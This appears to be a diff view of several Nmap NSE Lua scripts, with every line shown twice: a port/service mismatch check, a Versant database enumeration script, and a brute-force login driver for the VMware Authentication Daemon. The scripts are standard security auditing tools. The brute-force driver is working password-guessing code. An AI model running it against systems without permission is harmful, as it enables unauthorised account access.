-- suggest that a version scan has been run -- suggest that a version scan has been run
for _, proto in ipairs({"tcp", "udp"}) do for _, proto in ipairs({"tcp", "udp"}) do
repeat repeat
port = nmap.get_ports(host, port, proto, state) port = nmap.get_ports(host, port, proto, state)
if ( port and port.version.name_confidence > 3 ) then if ( port and port.version.name_confidence > 3 ) then
is_version_scan = true is_version_scan = true
break break
end end
until( not(port) ) until( not(port) )
end end
-- if no version scan has been run, warn the user as the script requires a -- if no version scan has been run, warn the user as the script requires a
-- version scan in order to work. -- version scan in order to work.
if ( not(is_version_scan) ) then if ( not(is_version_scan) ) then
return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)") return stdnse.format_output(true, "WARNING: this script depends on Nmap's service/version detection (-sV)")
end end
end end
portchecks = { portchecks = {
['tcp'] = { ['tcp'] = {
[113] = function(host, port) return ( port.service == "ident" ) end, [113] = function(host, port) return ( port.service == "ident" ) end,
[445] = function(host, port) return ( port.service == "netbios-ssn" ) end, [445] = function(host, port) return ( port.service == "netbios-ssn" ) end,
[587] = function(host, port) return ( port.service == "smtp" ) end, [587] = function(host, port) return ( port.service == "smtp" ) end,
[593] = function(host, port) return ( port.service == "ncacn_http" ) end, [593] = function(host, port) return ( port.service == "ncacn_http" ) end,
[636] = function(host, port) return ( port.service == "ldapssl" ) end, [636] = function(host, port) return ( port.service == "ldapssl" ) end,
[3268] = function(host, port) return ( port.service == "ldap" ) end, [3268] = function(host, port) return ( port.service == "ldap" ) end,
}, },
['udp'] = { ['udp'] = {
[5353] = function(host, port) return ( port.service == "mdns" ) end, [5353] = function(host, port) return ( port.service == "mdns" ) end,
} }
} }
servicechecks = { servicechecks = {
['http'] = function(host, port) ['http'] = function(host, port)
local service = port.service local service = port.service
port.service = "unknown" port.service = "unknown"
local status = shortport.http(host, port) local status = shortport.http(host, port)
port.service = service port.service = service
return status return status
end, end,
-- accept msrpc on any port for now, we might want to limit it to certain -- accept msrpc on any port for now, we might want to limit it to certain
-- port ranges in the future. -- port ranges in the future.
['msrpc'] = function(host, port) return true end, ['msrpc'] = function(host, port) return true end,
-- accept ncacn_http on any port for now, we might want to limit it to -- accept ncacn_http on any port for now, we might want to limit it to
-- certain port ranges in the future. -- certain port ranges in the future.
['ncacn_http'] = function(host, port) return true end, ['ncacn_http'] = function(host, port) return true end,
} }
portaction = function(host, port) portaction = function(host, port)
local ok = false local ok = false
if ( port.version.name_confidence <= 3 ) then if ( port.version.name_confidence <= 3 ) then
return return
end end
if ( portchecks[port.protocol][port.number] ) then if ( portchecks[port.protocol][port.number] ) then
ok = portchecks[port.protocol][port.number](host, port) ok = portchecks[port.protocol][port.number](host, port)
end end
if ( not(ok) and servicechecks[port.service] ) then if ( not(ok) and servicechecks[port.service] ) then
ok = servicechecks[port.service](host, port) ok = servicechecks[port.service](host, port)
end end
if ( not(ok) and port.service and if ( not(ok) and port.service and
( port.service == svc_table[port.protocol][port.number] or ( port.service == svc_table[port.protocol][port.number] or
"unknown" == svc_table[port.protocol][port.number] or "unknown" == svc_table[port.protocol][port.number] or
not(svc_table[port.protocol][port.number]) ) ) then not(svc_table[port.protocol][port.number]) ) ) then
ok = true ok = true
end end
if ( not(ok) ) then if ( not(ok) ) then
return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number) return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
end end
end end
local Actions = { local Actions = {

View File

@@ -48,68 +48,68 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local v = versant.Versant:new(host, port) local v = versant.Versant:new(host, port)
local status = v:connect() local status = v:connect()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, newport = v:getObePort() local status, newport = v:getObePort()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to retrieve OBE port") return fail("Failed to retrieve OBE port")
end end
v:close() v:close()
v = versant.Versant.OBE:new(host, newport) v = versant.Versant.OBE:new(host, newport)
status = v:connect() status = v:connect()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local result local result
status, result = v:getVODInfo() status, result = v:getVODInfo()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to get VOD information") return fail("Failed to get VOD information")
end end
v:close() v:close()
local output = {} local output = {}
table.insert(output, ("Hostname: %s"):format(result.hostname)) table.insert(output, ("Hostname: %s"):format(result.hostname))
table.insert(output, ("Root path: %s"):format(result.root_path)) table.insert(output, ("Root path: %s"):format(result.root_path))
table.insert(output, ("Database path: %s"):format(result.db_path)) table.insert(output, ("Database path: %s"):format(result.db_path))
table.insert(output, ("Library path: %s"):format(result.lib_path)) table.insert(output, ("Library path: %s"):format(result.lib_path))
table.insert(output, ("Version: %s"):format(result.version)) table.insert(output, ("Version: %s"):format(result.version))
port.version.product = "Versant Database" port.version.product = "Versant Database"
port.version.name = "versant" port.version.name = "versant"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
-- the script may fail after this part, but we want to report at least -- the script may fail after this part, but we want to report at least
-- the above information if that's the case. -- the above information if that's the case.
v = versant.Versant:new(host, port) v = versant.Versant:new(host, port)
status = v:connect() status = v:connect()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
status, result = v:getNodeInfo() status, result = v:getNodeInfo()
if ( not(status) ) then if ( not(status) ) then
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
v:close() v:close()
local databases = { name = "Databases" } local databases = { name = "Databases" }
for _, db in ipairs(result) do for _, db in ipairs(result) do
local db_tbl = { name = db.name } local db_tbl = { name = db.name }
table.insert(db_tbl, ("Created: %s"):format(db.created)) table.insert(db_tbl, ("Created: %s"):format(db.created))
table.insert(db_tbl, ("Owner: %s"):format(db.owner)) table.insert(db_tbl, ("Owner: %s"):format(db.owner))
table.insert(db_tbl, ("Version: %s"):format(db.version)) table.insert(db_tbl, ("Version: %s"):format(db.version))
table.insert(databases, db_tbl) table.insert(databases, db_tbl)
end end
table.insert(output, databases) table.insert(output, databases)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -32,89 +32,89 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
return self.socket:connect(self.host, self.port) return self.socket:connect(self.host, self.port)
end, end,
login = function(self, username, password) login = function(self, username, password)
local status, line = self.socket:receive_buf("\r\n", false) local status, line = self.socket:receive_buf("\r\n", false)
if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
self.socket:reconnect_ssl() self.socket:reconnect_ssl()
end end
status = self.socket:send( ("USER %s\r\n"):format(username) ) status = self.socket:send( ("USER %s\r\n"):format(username) )
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send data to server" ) local err = brute.Error:new( "Failed to send data to server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
local status, response = self.socket:receive_buf("\r\n", false) local status, response = self.socket:receive_buf("\r\n", false)
if ( not(status) or not(response:match("^331") ) ) then if ( not(status) or not(response:match("^331") ) ) then
local err = brute.Error:new( "Received unexpected response from server" ) local err = brute.Error:new( "Received unexpected response from server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status = self.socket:send( ("PASS %s\r\n"):format(password) ) status = self.socket:send( ("PASS %s\r\n"):format(password) )
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "Failed to send data to server" ) local err = brute.Error:new( "Failed to send data to server" )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
status, response = self.socket:receive_buf("\r\n", false) status, response = self.socket:receive_buf("\r\n", false)
if ( response:match("^230") ) then if ( response:match("^230") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Login incorrect" ) return false, brute.Error:new( "Login incorrect" )
end, end,
disconnect = function(self) disconnect = function(self)
return self.socket:close() return self.socket:close()
end end
} }
local function checkAuthd(host, port) local function checkAuthd(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status = socket:connect(host, port) local status = socket:connect(host, port)
if( not(status) ) then if( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
local status, line = socket:receive_buf("\r\n", false) local status, line = socket:receive_buf("\r\n", false)
socket:close() socket:close()
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
end end
if ( not( line:match("^220 VMware Authentication Daemon") ) ) then if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
return false, "Failed to detect VMWare Authentication Daemon" return false, "Failed to detect VMWare Authentication Daemon"
end end
return true return true
end end
action = function(host, port) action = function(host, port)
local status, err = checkAuthd(host, port) local status, err = checkAuthd(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail(err) return fail(err)
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end